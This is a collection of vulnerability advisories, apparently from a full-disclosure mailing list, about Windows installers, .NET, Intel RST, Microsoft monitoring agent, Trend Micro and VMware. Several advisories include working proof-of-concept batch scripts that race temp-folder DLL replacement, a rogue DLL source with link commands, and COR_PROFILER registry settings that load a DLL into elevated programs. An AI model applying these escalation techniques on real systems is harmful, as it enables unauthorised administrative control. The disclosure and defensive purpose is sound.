Defense in depth -- the Microsoft way (part 62): Windows shipped with end-of-life components
Hi @ll, since Microsoft Server 2003 R2, Microsoft dares to ship and install the abomination known as .NET Framework with every new version of Windows. Among other components current versions of Windows and .NET Framework include C# compiler (C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe, C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe) J# compiler (C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe, C:\Windows\Microsoft.NET\Framework64\v2.0.50727\jsc.exe) VB# compiler (C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe, C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe) resource converter (C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe, C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe) IL assembler (C:\Windows\Microsoft.NET\Framework\v2.0.50727\ilasm.exe, C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ilasm.exe) assembly linker (C:\Windows\Microsoft.NET\Framework\v2.0.50727\al.exe) Microsoft builds (not just) these programs with Visual C 2005, an UNSUPPORTED product that reached its end-of-life on 2016-04-12: see <https://support.microsoft.com/en-us/lifecycle/search?alpha=Visual%20C%202005> Of course these programs are linked to the equally UNSUPPORTED Visual C 2005 runtime that also reached its end-of-life 2016-04-12, which Microsoft but nevertheless still dares to ship as side-by-side component: Windows 10 1909 C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9659_none_88dfc6bf2faefcc6\MSVCR80.dll C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9659_none_88dfc6bf2faefcc6\MSVCR80.dll Windows 7 SP1, with Microsoft Security Essentials installed C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\msvcm80.dll C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\msvcp80.dll C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\msvcr80.dll C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.42_none_db5f52fb98cb24ad\msvcm80.dll C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.42_none_db5f52fb98cb24ad\msvcp80.dll C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.42_none_db5f52fb98cb24ad\msvcr80.dll C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcm80.dll C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcp80.dll C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcr80.dll The latest security update for the Visual C++ runtime was published 2011-06-04 and updated the version to 8.0.50727.6195: see <https://support.microsoft.com/en-us/help/2538242/ms11-025-description-of-the-security-update-for-visual-c-2005-sp1-redi> The FAQ section of <http://technet.microsoft.com/en-us/security/bulletin/ms11-025> says: | In the case where a system has no MFC applications currently installed | but does have the vulnerable Visual Studio or Visual C++ runtimes | installed, Microsoft recommends that users install this update as a | defense-in-depth measure, in case of an attack vector being introduced | or becoming known at a later time. Microsoft ships VULNERABLE components with .NET Framework and Windows, then recommends that their unsuspecting users update them, but fails to update their crap themselses! In other words: "quod licet jovi non licet bovi"! JFTR: another highlight (really: a BLATANT lie) from <http://technet.microsoft.com/en-us/security/bulletin/ms11-025> is: | Recommendation. The majority of customers have automatic updating enabled | and will not need to take any action because this security update will be | downloaded and installed automatically. NO, Windows Update does NOT update the OUTDATED and VULNERABLE Visual C++ runtime shipped with .NET Framework in Windows 7! The previous security update was published 2009-07-28 and updated the version to 8.0.50727.4053: see <https://support.microsoft.com/en-us/help/973544> plus <https://support.microsoft.com/en-gb/help/969706/ms09-035-vulnerabilities-in-visual-studio-active-template-libraries-co> Of course the statement from the FAQ section of MS11-025 holds for ATL applications (where MS09-035 should have an equivalent FAQ entry) and CRT applications too! Additionally see the MSKB article <https://support.microsoft.com/en-us/help/2977003/the-latest-supported-visual-c-downloads> which does NOT even list the MSVCRT 2005 any more! stay tuned, and FAR AWAY from untrustworthy and insecure software like .NET Framework and Windows 7 Stefan Kanthak PS: <https://msdn.microsoft.com/en-us/vstudio/bb188593.aspx> shows 2017-10-10 as EOL for the separate J# redistributable package.
Executable installers are vulnerable^WEVIL (case 58): Intel® Processor Identification Utility - Windows* Version - arbitrary code execution with escalation of privilege
tion, notice the
message boxes titled "Vulnerability and Exploit Detector",
displayed by %TEMP%\ATTRIB.COM or %TEMP%\ATTRIB.EXE
running elevated!
Alternate attack:
~
Any of the 77+ files extracted into %TEMP% can be modified by
the unprivileged user between creation and use, for example
with a simple batch script as shown below, which is started
any time before the executable installer:
--- intel.cmd ---
@echo off
:WAIT
if not exist "%TEMP%\AI_EXTUI_BIN_*" goto :WAIT
for /D %%? in ("%TEMP%\AI_EXTUI_BIN_*") do set FOOBAR=%%?
rem now replace for example "%FOOBAR%\viewer.exe" with
rem an arbitrary executable
--- EOF ---
As soon as one of these files is executed during installation,
the attacker gains administrative privileges.
Vulnerability #3:
=
Denial of service
Reason: see vulnerability #1
Fix: see vulnerability #1
~
Demonstration/Proof of concept:
~~~
1. Log on with the user account created during Windows setup;
2. Add the NTFS access control entry (D;OIIO;WP;;;WD) meaning
"deny execution of files for everyone, inheritable to files
in all subdirectories" to your %TEMP% directory;
3. Download
<https://downloadmirror.intel.com/28539/a08/Intel(R)%20Processor%20Identification%20Utility.exe>
and save it in an arbitrary directory;
4. Execute the just downloaded installation program
"Intel(R) Processor Identification Utility.exe":
notice the error messages displayed from Windows
Installer due to non-executable DLLs written in
the %TEMP% directory!
Timeline:
=
2019-07-17first vulnerability report sent to vendor
2019-07-18Intel's PSIRT opens case #2208018370
2019-07-28Intel's PSIRT confirms reported vulnerability
2019-08-01second vulnerability report sent to vendor
stay tuned, and FAR away from executable installers!
Stefan Kanthak
PS: wrapping an MSI installer in an executable self-extractor
is COMPLETE nonsense!
[CVE-2019-20358] CVE-2019-9491 in Trend Micro Anti-Threat Toolkit (ATTK) was NOT properly FIXED
nitions/471.html>, plus <https://cwe.mitre.org/data/definitions/732.html>, <https://cwe.mitre.org/data/definitions/377.html>, <https://cwe.mitre.org/data/definitions/379.html> and <https://capec.mitre.org/data/definitions/29.html> stay tuned, and FAR AWAY from so-called security products: their "security" is typically worse than that of the products they claim to protect! Stefan Kanthak PS: the TrendMicro Anti-Threat Toolkit inspected in October 2019 was built from scrap: the developers used VisualStudio 2008 (end-of-life since two years), linked against an outdated and vulnerable LIBCMT, shipped an outdated and vulnerable cURL 7.48 plus an outdated and vulnerable libeay32.dll 1.0.1.17 (OpenSSL 1.0.1 is end-of-life since more than 3 years; the last version was 1.0.1.20). This POOR (really: TOTAL lack of proper) software engineering alone disqualifies this vendor and its "security" products! JFTR: "they'll never come back" (really: developers SELDOM learn) <https://seclists.org/fulldisclosure/2010/Sep/332> <https://seclists.org/fulldisclosure/2015/Dec/128> Timeline: ~ 2019-10-23sent reports for both vulnerabilities to vendor 2019-10-25vendor acknowledged receipt 2020-01-07CVE-2019-20358 assigned by vendor 2020-01-29updated advisory published by vendor
Defense in depth -- the Microsoft way (part 61): security features are built to fail (or documented wrong)
pec(dllimport)
extern BOOL WINAPI _DllMainCRTStartup(HANDLE hModule, DWORD dwReason, LPVOID
lpReserved);
__declspec(noreturn)
VOID WINAPI mainCRTStartup(VOID)
{
ExitProcess(_DllMainCRTStartup != NULL);
}
with the following command:
CL.EXE SNAFU.C SNAFU.LIB /link /DEFAULTLIB:kernel32.lib /ENTRY:mainCRTStartup
6. run the second application SNAFU.EXE and display its exit code
with the following commands:
.\SNAFU.EXE
Echo %ERRORLEVEL%
The exit code is 0, proving that /DEPENDENTLOADFLAG:... does
NOT limit the DLL search path for Windows' module loader!
7. When you change the return value of the DLL's entry point
function _DllMainCRTStartup() to FALSE, Windows module loader
shows a message box and the exit code is 0xC142 alias
STATUS_DLL_INIT_FAILED, again proving that
/DEPENDENTLOADFLAG:0x800 does NOT work as documented!
8. When you erase SNAFU.DLL and run SNAFU.EXE, Windows module
loader shows a message box and the exit code is 0xC135
alias STATUS_DLL_NOT_FOUND, which is the expected behaviour
if /DEPENDENTLOADFLAG:0x800 would work as documented and limit
the DLL search path to %SystemRoot%\System32\
stay tuned, and don't trust unverified or incomplete documentation
Stefan Kanthak
Defense in depth -- the Microsoft way (part 60): same old sins and incompetence!
Hi @ll, Microsoft just announced the general availability of their "Windows Defender Advanced Threat Protection/Endpoint Protection & Response" for their "downlevel" operating systems Windows 7 and Windows 8.1: https://techcommunity.microsoft.com/t5/Windows-Defender-ATP/Windows-Defender-ATP-s-EDR-capability-for-Windows-7-and-Windows/ba-p/355535 This announcement ends in | For more information on how you can onboard Windows 7 and Windows 8.1 | machines, check out our documentation Let's see what Microsoft wants their customers to "board" onto their Windows 7 and Windows 8.1 installation: this documentation https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-atp/onboard-downlevel-windows-defender-advanced-threat-protection#install-and-configure-microsoft-monitoring-agent-mma-to-report-sensor-data-to-windows-defender-atp lists below the heading "Install and configure Microsoft Monitoring Agent (MMA) to report sensor data to Windows Defender ATP" | Download the agent setup file: Windows 64-bit agent or Windows 32-bit agent. The URLs for these downloads are https://go.microsoft.com/fwlink/?LinkId=828603 https://go.microsoft.com/fwlink/?LinkId=828604 Vulnerability #1 These URLs but redirect to | HEAD https://go.microsoft.com/fwlink/?LinkId=828604 | HTTP/1.1 302 Moved Temporarily | Content-Length: 0 | Location: http://download.microsoft.com/download/A/E/7/AE709F7E-37F5-473F-A615-42D6F66AE32F/MMASetup-AMD64.exe | Server: Kestrel ... | HEAD https://go.microsoft.com/fwlink/?LinkId=828604 | HTTP/1.1 302 Moved Temporarily | Content-Length: 0 | Location: http://download.microsoft.com/download/A/E/7/AE709F7E-37F5-473F-A615-42D6F66AE32F/MMASetup-i386.exe | Server: Kestrel ... EVERY man-in-the-middle just LOVES Microsoft! Really! All their documentation and blogs use HTTPS, but for their downloads they still use HTTP, allowing almost everybody to fiddle with the downloads to their hearts content and create havoc! JFTR: of course these downloads can be fetched via HTTPS too, WITHOUT the slightest problem! If Microsoft would only know... Vulnerability #2 Let's continue with https://download.microsoft.com/download/A/E/7/AE709F7E-37F5-473F-A615-42D6F66AE32F/MMASetup-i386.exe and see what Microsoft offers in MMASetup-i386.exe: | LINK.exe /DUMP /HEADERS /DEPENDENTS MMASetup-i386.exe | | Dump of file MMASetup-i386.exe | | PE signature found | | File Type: EXECUTABLE IMAGE | | FILE HEADER VALUES | 14C machine (x86) |5 number of sections | 545301EF time date stamp Fri Oct 31 05:28:47 2014 Aaaahhh, a four year old portable executable. But why does the digital (Authenticode) signature has another timestamp: "Friday, December 24, 2018, 10:08:18"? | Image has the following dependencies: ... |msvcrt.dll |COMCTL32.dll |Cabinet.dll |VERSION.dll BINGO! 3 or 4 SURE candidates for DLL hijacking. But how bad is it? The embedded "application manifest" contains | requestedExecutionLevel level="requireAdministrator" So this a yet another TRIVIAL to exercise "escalation of privilege", in a piece of software^WJUNK Microsoft ships as "security solution"! Vulnerability #3 MMASetup-i386.exe is an IExpress-Installer. | Debug Directories ... | ... wextract.pdb According to MULTIPLE mails/statements from Microsoft's MSRC they don't use this outdated technology (IExpress installers) any more... REALITY CHECK, PLEASE! IExpress installers unpack their payload (embedded in a CAB archive, which itself is embedded as a "resource" in the "portable executable") into a subdirectory %TEMP%\IXP000.tmp and execute a predefined command line there (here: "Setup.exe"). The payload of MMASetup-i386.exe is | Setup.exe | MOMAgent.msi | MOMAgent..mst ... JFTR: this in turn means that the VULNERABLE wrapper/self-extractor is COMPLETELY superfluous: Microsoft could offer the CAB archive they embed in MMASetup-.exe for download, and thus eliminate vulnerability #2! There is but yet another vulnerability here: Setup.exe too is (like ALMOST ALL such executable installers) vulnerable to DLL hijacking, it loads (at least) MSI.dll from its "application directory"! When MMASetup-.exe is run under the user account created during Windows setup, every UNPRIVILEGED (non-elevated) program running under this account can write to %TEMP%\IXP000.tmp, for example a rogue MSI.dll, and exercise again an "escalation of privilege". GAME OVER, third time! stay tuned (and far away from so-called "security solutions") Stefan Kanthak
Defense in depth -- the Microsoft way (part 59): we only fix every other vulnerability
od@type_info@@QAEXXZ=_dummy
...
--- EOF ---
3. create the following text file:
--- officesips.c ---
#include
BOOL WINAPI _DllMainCRTStartup(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID
lpvReserved)
{
MessageBoxW((HWND) NULL, L"pwned!", L"pwned!", MB_ICONERROR);
return TRUE;
}
DWORD dummy = 0;
--- EOF ---
4. compile the source file created in the previous step:
CL.exe /c /Tcofficesips.c
5. link the object file compiled in the previous step using the
module definition files generated before:
LINK.exe /DEF:MSVCR100.def /DEFAULTLIB:user32.dll /DLL
/ENTRY:_DllMainCRTStartup /OUT:MSVCR100.dll /SUBSYSTEM:Windows
officesips.obj
LINK.exe /DEF:MSVCP140.def /DEFAULTLIB:user32.dll /DLL
/ENTRY:_DllMainCRTStartup /OUT:MSVCP140.dll /SUBSYSTEM:Windows
officesips.obj
LINK.exe /DEF:VCRuntime140.def /DEFAULTLIB:user32.dll /DLL
/ENTRY:_DllMainCRTStartup /OUT:VCRuntime140.dll /SUBSYSTEM:Windows
officesips.obj
6. add the directory (I use the CWD here) where you built the
3 DLLs to your PATH environment variable, for example via:
REG.EXE ADD HKCU\Environment /V PATH /T REG_EXPAND_SZ /D "%CD%" /F
7. start an elevated command prompt and run the PATH command:
notice the directory added to the PATH in the previous step
in the printed output.
8. run the command lines to register VBE7.dll, MSOSIP.DLL and
MSOSIPX.dll: notice the message boxes displayed from the
previously built DLLs!
REGSVR32.exe "%ProgramFiles%\vbe7.dll"
REGSVR32.exe "%ProgramFiles%\msosip.dll"
REGSVR32.exe "%ProgramFiles%\msosipx.dll"
stay tuned
Stefan Kanthak
Timeline:
~
2018-05-29vulnerability report sent to vendor
2018-05-30vendor acknowledges receipt, opens case 45733
2018-10-18answer from vendor: "The product was fixed."
2018-10-21followup sent to vendor:
"NO, the product is NOT fixed.
You fixed only the vulnerable self-extractor!"
2018-10-23reply from vendor:
"I will forward your feedback to the Engineering Team
responsible."
2018-11-06reply from vendor:
"We are closing this case as a Duplicate of one of
your earlier cases, 37732, which was fixed with an
Advisory based on a Defense in Depth method."
2018-11-06"OUCH!
Case 37732 was %SystemRoot%\Temp\OSE*.exe, running
under SYSTEM account, loads a bunch of DLLs from its
application directory, which is writable by unprivileged
users. This is COMPLETELY unrelated."
no more reply from BRAINDEAD vendor!
Escalation of privilege with Intel Rapid Storage User Interface
Hi @ll,
this is the second part of
<https://seclists.org/fulldisclosure/2018/Nov/45>
Intel® Rapid Storage Technology (Intel® RST) User Interface and Driver
for Windows 10 and Windows Server 2016, version 16.0.2.1086 (Latest),
released 2/21/2018, available from
<https://downloadcenter.intel.com/download/27681/Intel-Rapid-Storage-Technology-Intel-RST-User-Interface-and-Driver>,
as well as the previous version 15.9.0.1015 (Previously Released),
released 11/14/2017, available from
<https://downloadcenter.intel.com/download/27400/Intel-Rapid-Storage-Technology-Intel-RST-User-Interface-and-Driver>,
the la(te)st version supporting Windows 7 and Windows 8.1,
are vulnerable: they allow arbitrary code execution WITH escalation
of privilege via the RST User Interface program IAStorUI.exe.
CVSS score: 7.5/HIGHCVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
On x64 processor architecture this program is installed as
"C:\Program Files (x86)\Intel\Intel(R) Rapid Storage Technology\IAStorUI.exe",
and on x86 processor architecture it is installed as
"C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorUI.exe",
i.e. it is a 32-bit program.
Vulnerability:
==
IAStorUI.exe depends on .NET Framework 4.x; its embedded "application
manifest" specifies "requireAdministrator", so Windows requests
elevation: "protected" administrators are prompted for consent,
unprivileged standard users are prompted for an administrator password.
All versions of .NET Framework support to load a COM object as code
profiler, enabled via two or three environment variables, thus allowing
arbitrary code execution WITH elevation of privilege through IAStorUI.exe!
>From <https://msdn.microsoft.com/en-us/library/bb384393.aspx>
| A profiler DLL is an unmanaged DLL that runs as part of the
| common language runtime execution engine. As a result, the code
| in the profiler DLL is not subject to the restrictions of managed
| code access security. The only limitations on the profiler DLL are
| those imposed by the operating system on the user who is running
| the profiled application.
>From <https://msdn.microsoft.com/en-us/library/bb384689.aspx>:
| When both environment variable checks pass, the CLR creates an
| instance of the profiler in a similar manner to the COM
| CoCreateInstance function. The profiler is not loaded through a
| direct call to CoCreateInstance. Therefore, a call to CoInitialize,
| which requires setting the threading model, is avoided.
Demonstration/proof of concept:
~~~
In the user account created during Windows setup perform the
following actions:
1. fetch
<https://skanthak.homepage.t-online.de/download/SENTINEL.DLL>
and save it in an arbitrary directory, for example in %TEMP% or
%USERPROFILE%\Downloads\;
2. start a command prompt in this directory as UNELEVATED (standard)
user;
2.a set the users environment variables:
SET COR_ENABLE_PROFILING=1
SET COR_PROFILER={32E2F4DA-1BEA-47EA-88F9-C5DAF691C94A}
SET COR_PROFILER_PATH=%CD%\SENTINEL.DLL
JFTR: the CLSID doesn't matter, use any CLSID you like!
REG.exe ADD HKEY_CURRENT_USER\Environment /V COR_ENABLE_PROFILING /T REG_SZ
/D 1 /F
REG.exe ADD HKEY_CURRENT_USER\Environment /V COR_PROFILER /T REG_SZ /D
%COR_PROFILER% /F
REG.exe ADD HKEY_CURRENT_USER\Environment /V COR_PROFILER_PATH /T REG_SZ /D
"%COR_PROFILER_PATH%" /F
2.b. (OPTIONALLY) register SENTINEL.DLL as COM object:
SET
KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\%COR_PROFILER%\InProcServer32
REG.exe ADD %KEY% /VE /T REG_SZ /D "%COR_PROFILER_PATH%" /F
REG.exe ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
3. execute the installed IAStorUI.exe: notice the message boxes
displayed from SENTINEL.DLL running with "integrity level: high"
NOTE: the precondition "user account created during Windows setup"
is met on typical installations of Windows: according to
Microsoft's own security intelligence reports, about 1/2 to
3/4 of the about 600 million Windows installations which send
telemetry data have only ONE active user account.
<https://www.microsoft.com/security/sir>
Fixes:
~~
1. don't use .NET Framework, at least not in executables which
are run elevated!
2. NEVER specify "requireAdministrator" or "highestAvailable" in
the "application manifest" of an executable which uses .NET
Framework.
Mitigations:
1. remove all applications installed (not just) by Intel with
their drivers that depend on .NET framework and run elevated.
JFTR: there are LOADS of such crap!
2. Practice STRICT privilege separation: use your privileged
"Administrator" account (especially the account created during
Windows setup) ONLY for administrative tasks, and COMPLETELY
separa
[CVE-2018-3635] Executable installers are vulnerable^WEVIL (case 59): arbitrary code execution WITH escalation of privilege via Intel Rapid Storage Technology User Interface and Driver
Hi @ll,
the executable installer of the
Intel® Rapid Storage Technology (Intel® RST) User Interface and Driver,
version 15.9.0.1015 (LATEST for Windows 7), released 11/14/2017, available
from <https://downloadmirror.intel.com/27400/eng/SetupRST.exe> via
<https://downloadcenter.intel.com/download/27400/Intel-Rapid-Storage-Technology-Intel-RST-User-Interface-and-Driver>
is (SURPRISE!) vulnerable!
CVSS score: 7.5/HIGHCVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
See Intel's security advisory SA-00153
<https://www.intel.com/content/www/us/en/security-center/advisory/INTEL-SA-00153.html>
Vulnerability #1:
=
Although running with ELEVATED (administrative) privileges
(the "application manifest" embedded in SetupRST.exe specifies
"requireAdministrator"), on STANDARD installations of Windows,
i.e. where the user account created during Windows setup is used,
the executable installer creates an UNPROTECTED subdirectory
IIF.tmp in the user's %TEMP% directory.
For this well-known and well-documented vulnerability see
<https://cwe.mitre.org/data/definitions/377.html> and
<https://cwe.mitre.org/data/definitions/379.html> plus
<https://capec.mitre.org/data/definitions/29.html>
The subdirectory IIF.tmp inherits the NTFS ACLs from its
parent %TEMP%, allowing "full access" for the unprivileged
(owning) user, who can replace/overwrite the DLLs
%TEMP%\IIF.tmp\Resource.dll
%TEMP%\IIF.tmp\??-??\IntelCommon.dll
later loaded and executed by the installer between their creation
and use.
Since these DLLs are executed with administrative privileges, this
vulnerability results in arbitrary code execution WITH escalation
of privilege.
NOTE: the precondition "user account created during Windows setup"
is met on typical installations of Windows: according to
Microsoft's own security intelligence reports, about 1/2 to
3/4 of the about 600 million Windows installations which send
telemetry data have only ONE active user account.
<https://www.microsoft.com/security/sir>
Demonstration/proof of concept:
~~~
1. visit <https://skanthak.homepage.t-online.de/sentinel.html>,
then download
<https://skanthak.homepage.t-online.de/skanthak/download/SENTINEL.DLL>
and save it in an arbitrary directory;
2. save the following batch script in the same directory:
--- IIF.CMD ---
:WAIT
@If Not Exist "%TEMP%\IIF.tmp" Goto :WAIT
For /D %%! In ("%TEMP%\IIF.tmp") Do Set IIFTMP=%%!
Copy /Y SENTINEL.DLL "%IIFTMP%\Resource.dll"
For /R "%IIFTMP%" %%! In (IntelCommon.dll) Do Copy /Y SENTINEL.DLL "%%!"
Set IIFTMP=
--- EOF ---
3. start the batch script per double-click;
4. execute SetupRST.exe: notice the message boxes displayed from
the replaced DLLs.
Fixes:
~~
1. ALWAYS specify a PROPER "security descriptor" when you create
(temporary) files or directories in potentially unsafe (i.e.
user-writable) paths like the %TEMP% directory!
See <https://msdn.microsoft.com/en-us/library/aa363855.aspx>
and use the second parameter of CreateDirectory() to properly
restrict the permissions when running elevated!
2. NEVER load resource(-only) DLLs for execution!
See <https://msdn.microsoft.com/en-us/library/ms684179.aspx>
and use the third parameter of LoadLibraryEx() to specify
LOAD_LIBRARY_AS_DATAFILE or LOAD_LIBRARY_AS_IMAGE_RESOURCE
Mitigations:
1. DONT use executable installers; stay far away from such
eternally vulnerable crap!
2. NEVER run executable installers in unsafe environments,
especially NEVER from UNSAFE directories like "%TEMP%\" or
"%USERPROFILE%\Downloads\"
3. DISABLE execution of files (via NTFS ACL, as shown below) in
the systems and every users %TEMP% and every %USERPROFILE%
(see <https://skanthak.homepage.t-online.de/SAFER.html>)!
4. Practice STRICT privilege separation: use a your privileged
"Administrator" account (especially the account created during
Windows setup) ONLY for administrative tasks, and COMPLETELY
separate unprivileged user accounts, with elevation requests
DISABLED, for your everyday/regular work.
Vulnerability #2:
=
A variant of #1, resulting in denial of service.
Demonstration/proof of concept:
~~~
1. add the NTFS access control list entry (D;OIIO;WP;;;WD) meaning
"deny execution of files in this directory for everyone,
inheritable to all subdirectories" to the (user's) %TEMP%
directory.
NOTE: this does NOT need administrative privileges!
2. execute SetupRST.exe: notice the message box
"error loading language resource" displayed.
Fix:
Create (temporary) files and directories with PROPER permissions!
See above.
stay tune
Defense in depth -- the Microsoft way (part 57): installation of security updates fails on Windows Embedded POSReady 2009
What happened to the "trustworthy computing" initiative? 2.e) But WAIT, it's not over yet: C:\Dokumente und Einstellungen\Administrator\Downloads>ie8-windowsxp-kb4343205-x86-embedded-deu.exe /X The /X option extracts the payload into an arbitrary directory; the default is the current directory, i.e. "C:\Dokumente und Einstellungen\Administrator\Downloads" This yields the error message box | Dekomprimierung fehlgeschlagen | | (X) Datei ist beschädigt | | [ OK ] WTF? The file is supposed to be corrupt? It but installed successful, its checksums are correct! JFTR: without the /X option, the executable self-extractor SFXCAB creates a directory with a random, up to 32 characters "short" name in the root directory of the drive with the most free space. 2.f) Let's see whether this error can be cured too by using a shorter path: C:\Dokumente und Einstellungen\Administrator\Downloads>ie8-windowsxp-kb4343205-x86-embedded-deu.exe /X C:\Windows\Temp SUCCESS! | Dekomprimierung abgeschlossen | ^ | /!\ Dekomprimierung abgeschlossen | ¯¯¯ | [ OK ] C:\Dokumente und Einstellungen\Administrator\Downloads>dir C:\Windows\Temp Volume in Laufwerk C: hat keine Bezeichnung. Volumeseriennummer: 8CDE-6034 Verzeichnis von C:\Windows\Temp 01.09.2018 23:18 . 01.09.2018 23:18 .. 01.09.2018 23:18 SP3QFE 01.09.2018 23:18 update 01.02.2018 23:2818.808 spmsg.dll 01.02.2018 23:28 234.872 spuninst.exe 2 Datei(en)253.680 Bytes 4 Verzeichnis(se), 8.396.988.416 Bytes frei stay tuned Stefan Kanthak PS: for the other bugs and vulnerabilities in Microsoft's SFXCAB see <http://seclists.org/fulldisclosure/2016/Jan/48> and/or <http://seclists.org/fulldisclosure/2018/Jul/72>
Defense in depth -- the Microsoft way (part 57): all the latest MSVCRT installers allow escalation of privilege
nt.com/blog/2016/1/20/wix-v3.10.2-released/>
Take 6:
~~~
The embedded "application manifest" can also be found and printed:
| C:\Users\Stefan\Downloads>FIND.exe "WiX" vc_redist.x86.exe
...
| WiX Toolset Bootstrapper
...
|
~
The executable will be run with the credentials of its caller.
This but means that all files extracted/copied to %TEMP% and below
(or any other subdirectory) are UNPROTECTED, every process running
under the same user account can tamper with these files!
Take 7:
~~~
| C:\Users\Stefan\Downloads>vc_redist.x86.exe
Running on a fully patched Windows 7 SP1, the program loads at least
the following DLLs from its "application directory", executing their
entry point routine with the credentials of the caller:
UXTheme.dll, Cabinet.dll, MSI.dll, Version.dll,
WindowsCodecs.dll, MSLS31.dll, PropSys.dll, NTMARTA.dll,
CryptSP.dll, RPCRtRemote.dll, Secur32.dll, MPR.dll
For this well-known and well-documented vulnerability see
<https://cwe.mitre.org/data/definitions/426.html> and
<https://cwe.mitre.org/data/definitions/427.html> plus
<https://capec.mitre.org/data/definitions/471.html>.
See <https://skanthak.homepage.t-online.de/minesweeper.html> for the
instructions to build these DLLs.
For the following takes, I assume that these DLLs have been placed
into the user's "Downloads" directory.
Take 7, continued:
~~
Running with the callers credentials, the program creates a
subdirectory {2019b6a0-8533-4a04-ac0e-b2c10bdb9841} (notice the
HARD-CODED name) in the user's %TEMP% directory: this subdirectory
inherits the NTFS ACL from its parent %TEMP%, allowing full access
for the current/owning user.
Under this subdirectory it creates several more subdirectories and
extracts multiple files, especially wixstdba.dll, which it loads
afterwards, and a copy of itself, which it executes afterwards,
ELEVATED:
%TEMP%\{2019b6a0-8533-4a04-ac0e-b2c10bdb9841}\.ba1\wixstdba.dll
%TEMP%\{2019b6a0-8533-4a04-ac0e-b2c10bdb9841}\.be\vc_redist.x86.exe
For this well-known and well-documented vulnerability see
<https://cwe.mitre.org/data/definitions/377.html> and
<https://cwe.mitre.org/data/definitions/379.html> plus
<https://capec.mitre.org/data/definitions/29.html>
Take 7, continued:
~~
Due to the inherited full access any process running in the same
user account can tamper with these unprotected files between their
creation and use, for example with the following batch scripts:
--- wixstdba.cmd ---
:wixstdba
@If Not Exist "%TEMP%\{2019b6a0-8533-4a04-ac0e-b2c10bdb9841}\.ba1\1028" Goto
:wixstdba
Copy "%USERPROFILE%\Downloads\dlldummy.dll"
"%TEMP%\{2019b6a0-8533-4a04-ac0e-b2c10bdb9841}\.ba1\wixstdba.dll"
--- eof ---
--- wixstdbe.cmd ---
:wixstdbe
@If Not Exist "%TEMP%\{2019b6a0-8533-4a04-ac0e-b2c10bdb9841}\.be" Goto :wixstdbe
For %%! In (Version MSI Cabinet UXTheme WindowsCodecs MSLS31 PropSys NTMARTA
CryptSP RPCRtRemote Secur32 MPR) Do Copy
"%USERPROFILE%\Downloads\%%!.dll"
"%TEMP%\{2019b6a0-8533-4a04-ac0e-b2c10bdb9841}\.be"
--- eof ---
Take 8:
~~~
Running ELEVATED, the program's copy
%TEMP%\{2019b6a0-8533-4a04-ac0e-b2c10bdb9841}\.be\vc_redist.x86.exe
loads the rogue DLLs copied by the second batch script, executing
their entry point routines with ELEVATED rights: GAME OVER!
Mitigation:
~~~
* DONT use executable installers!
* NEVER run executable installers in unsafe environments!
Fix:
* DUMP executable installers, use *.MSI or *.INF plus *.CAB!
stay tuned
Stefan Kanthak
Executable installers are vulnerable^WEVIL (case 55): escalation of privilege with VMware Player 12.5.9
Hi @ll,
the executable installer of VMware Player 12.5.9, published in
January 2018, available from
<https://download3.vmware.com/software/player/file/VMware-player-12.5.9-7535481.exe>,
is vulnerable.
JFTR: VMware Player 12.5.9 is the last version which runs on
32-bit Windows, and the last to support older CPUs.
Although running with administrative privileges (its embedded
application manifest specifies "requireAdministrator"),
VMware-player-12.5.9-7535481.exe extracts files UNPROTECTED
into subdirectories of the user's %TEMP% directory for later
execution.
An UNPRIVILEGED process/user running under the same user
account can tamper with these unprotected files between their
creation and their use, resulting in escalation of privilege.
For this well-known and well-documented vulnerability see
<https://cwe.mitre.org/data/definitions/377.html> and
<https://cwe.mitre.org/data/definitions/379.html> plus
<https://capec.mitre.org/data/definitions/27.html> and
<https://capec.mitre.org/data/definitions/29.html>
Demonstrations/proof of concepts:
~
The POCs work on standard installations of Windows, where the
user account created during Windows Setup is used.
This precondition is typically met: according to Microsoft's
own security intelligence reports, about 1/2 to 3/4 of the
about 600 million Windows installations which send telemetry
data have only ONE active user account.
See <https://www.microsoft.com/security/sir>
A) "escalation of privilege":
-
1. create the following text file in an arbitrary directory:
--- vmware12.cmd ---
:LOOP1
@If Not Exist
"%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x86.exe" Goto
:LOOP1
Copy NUL:
"%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\VMwarePlayer.msi"
:LOOP2
@If Not Exist
